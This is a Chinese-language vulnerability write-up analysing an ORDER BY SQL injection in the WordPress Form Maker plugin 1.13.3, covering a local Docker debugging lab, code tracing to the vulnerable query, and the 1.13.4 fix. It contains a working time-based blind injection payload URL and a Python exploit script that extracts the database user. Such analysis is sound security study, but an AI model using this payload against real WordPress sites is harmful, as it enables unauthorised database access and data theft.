最近在复习SQL注入
的一些知识,对于order by
后面的注入遇到的不是很多,正好五月底WordPress
的一个表单生成器插件出了一个SQL注入
漏洞,恰好是order by
的问题,于是拿来分析一波。如有错误,还望师傅们批评指正。
运行环境很简单,只是在vulapps
的基础环境的上加了xdebug
调试插件,把docker
容器作为远程服务器来进行调试。
Dockerfile
文件:
FROM medicean/vulapps:base_lamp_php7
RUN pecl install xdebug
COPY php.ini /etc/php/7.0/apache2/
COPY php.ini /etc/php/7.0/cli/
docker-compose
文件:
version: '3'
services:
lamp-php7:
build: .
ports:
- "80:80"
volumes:
- "/Users/mengchen/Security/Code Audit/html:/var/www/html"
- "/Users/mengchen/Security/Code Audit/tmp:/tmp"
php.ini
中xdebug
的配置
[xdebug]
zend_extension="/usr/lib/php/20151012/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=10.254.254.254
xdebug.remote_port=9000
xdebug.remote_connect_back=0
xdebug.profiler_enable=0
xdebug.idekey=PHPSTORM
xdebug.remote_log="/tmp/xdebug.log"
因为我是在Mac
上,所以要给本机加一个IP
地址,让xdebug
能够连接。
sudo ifconfig lo0 alias 10.254.254.254
PHPStorm
也要配置好相对路径:
插件下载地址:
https://downloads.wordpress.org/plugin/form-maker.1.13.3.zip
WordPress
使用最新版就可以,在这里我使用的版本是5.2.2
,语言选的简体中文。
PS: WordPress
搭建完毕后,记得关闭自动更新。
http://127.0.0.1/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&asc_or_desc=,(case+when+(select+ascii(substring(user(),1,1)))%3d114+then+(select+sleep(5)+from+wp_users+limit+1)+else+2+end)+asc%3b
Python
脚本,修改自exploit-db
#coding:utf-8 import requests import time vul_url = "http://127.0.0.1/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&asc_or_desc=" S = requests.Session() S.headers.update({"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3", "Referer": "http://127.0.0.1/wp-login.php?loggedout=true", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}) length = 0 TIME = 3 username = "admin" password = "admin" def login(username, password): data = { "log": "admin", "pwd": "admin", "wp-submit": "\xe7\x99\xbb\xe5\xbd\x95", "redirect_to": "http://127.0.0.1/wp-admin/", "testcookie": "1" } r = S.post('http://127.0.0.1/wp-login.php', data=data, cookies = {"wordpress_test_cookie": "WP+Cookie+check"}) def attack(): flag = True data = "" length = 1 while flag: flag = False tmp_ascii = 0 for ascii in range(32, 127): tmp_ascii = ascii start_time = time.time() payload = "{vul_url},(case+when+(select+ascii(substring(user(),{length},1)))%3d{ascii}+then+(select+sleep({TIME})+from+wp_users+limit+1)+else+2+end)+asc%3b".format(vul_url=vul_url, ascii=ascii, TIME=TIME, length=length) #print(payload) r = S.get(payload) tmp = time.time() - start_time if tmp >= TIME: flag = True break if flag: data += chr(tmp_ascii) length += 1 print(data) login(username, password) attack()
根据POC
,我们很容易知道,注入点在参数asc_or_desc
上,根据它的命名,极有可能是order by
之后的注入。
首先大致浏览下插件目录下的文件结构:
很经典的MVC
架构,但是有点无从下手,还是从POC
出发吧,
首先全局搜索字符串asc_or_desc
,根据传入的参数page=submissions_fm&task=display
,以及我们搜索到的结果,可以猜测,submissions_fm
就是指代的调用的插件文件,display
就是要调用的方法。
在这里下一个断点验证一下。
根据函数调用栈,我们很容易就能知道,在form-maker.php:502, WDFM->form_maker()
处,代码将FMControllerSubmissions_fm
进行了实例化,然后调用了它的execute()
方法。
接下来就进入了Submissions_fm.php:93, FMControllerSubmissions_fm->execute()
获取传入的task
和current_id
,动态调用FMControllerSubmissions_fm
类的方法display
,并将current_id
的值作为参数传入。
后面依次进入了model
类FMModelSubmissions_fm
中的get_forms()
,get_statistics();
和blocked_ips()
方法,分别跟进之后并没有发现调用asc_or_desc
参数。
继续往下,进入类FMModelSubmissions_fm
中get_labels_parameters
方法。
路径:wp-content/plugins/form-maker/admin/models/Submissions_fm.php:93
到了第133
行:
代码从这里获取了传入的asc_or_desc
的值,并将其存入了$asc_or_desc
变量中。
跟进一下,看一看代码对其进行了怎样的处理。
路径:wp-content/plugins/form-maker/framework/WDW_FM_Library.php:367
根据传入的键值asc_or_desc
,动态调用$_GET[$key]
,把值存入$value
中,然后传入了静态私有方法validate_data()
中
继续跟进,在第395
行
使用stripslashes()
函数去除了value
中的反斜杠,又因为$esc_html
为true
,进入了esc_html
在WordPress手册中,可以查到它的作用是将传入的值转义为HTML
块。
跟进一下,我们可以看到代码调用了两个WordPress
的内置方法对传入的value
值进行了处理
路径wp-includes/formatting.php:4348
从WordPress
手册中,能查到_wp_specialchars
是对&
、<
、>
、"
和'
进行了HTML
实体编码。
可以知道,在获取asc_or_desc
参数的过程中,只过滤了\
、&
、<
、>
、"
和'
。
然后回到get_labels_parameters
接着往下看。
在第161
行,因为传入的$order_by == group_id
满足条件,成功将$asc_or_desc
,拼接到了变量$orderby
中。
后面虽然有一些查询操作,但是都没有拼接$orderby
,也没有对其做进一步的过滤处理。
导致在第311
行,Payload
拼接进入了SQL
语句,然后在312
行进行了数据库查询操作。
看一下数据库的日志也能看到,执行了SQL
语句:
SELECT distinct group_id FROM wp_formmaker_submits WHERE form_id=2 ORDER BY group_id ,(case when (select ascii(substring(user(),1,1)))=114 then (select sleep(5) from wp_users limit 1) else 2 end) asc;
在mysql
中执行一下,由于when
后面的条件成立,语句中的sleep(5)
生效了。
到这里,整个POC
的执行流程我们就看完了。
简单总结一下,我们传入参数?page=submissions_fm&task=display
,让代码走到了存在漏洞的方法get_labels_parameters
中。
而方法get_labels_parameters
中,在获取参数asc_or_desc
的值的过程中,基本没有进行过滤,就将其拼接进入了SQL
语句中,并执行,导致了SQL
注入。
我们将1.13.3版本的插件卸载掉,安装一下1.13.4版本,查看一下是如何修复的。
路径:wp-content/plugins/form-maker/admin/models/Submissions_fm.php:133
简单粗暴,限制了asc_or_desc
的值只能为desc
和asc
其中的一个。